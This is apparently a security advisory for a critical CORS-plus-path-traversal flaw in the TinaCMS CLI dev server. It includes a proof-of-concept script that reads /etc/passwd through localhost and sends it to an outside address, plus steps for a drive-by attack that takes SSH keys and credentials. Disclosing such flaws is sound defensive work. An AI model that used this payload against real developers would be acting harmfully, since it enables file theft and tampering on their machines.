The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
app.use(cors());
server.middlewares.use(cors());
When combined with the path traversal vulnerability, this creates a complete attack chain.
tinacms dev (default port 4001)No other conditions required - the dev server doesn't need to be:
tinacms dev<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>
Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001
Step 2: Host evil.html on attacker server
python3 -m http.server 8000
Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001.
Because cors() returns Access-Control-Allow-Origin: *, the browser
allows the JavaScript to read the responses. Directory listings from
outside the media directory are sent to the attacker's server.
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
/media/list/ with path traversal reveal file and folder names
across the entire filesystem.env, .git/config, SSH keys, cloud credentials, database configs/media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts/media/ DELETE with path traversal{
"cwe_ids": [
"CWE-22",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T20:32:09Z",
"nvd_published_at": "2026-03-12T17:16:50Z",
"severity": "CRITICAL"
}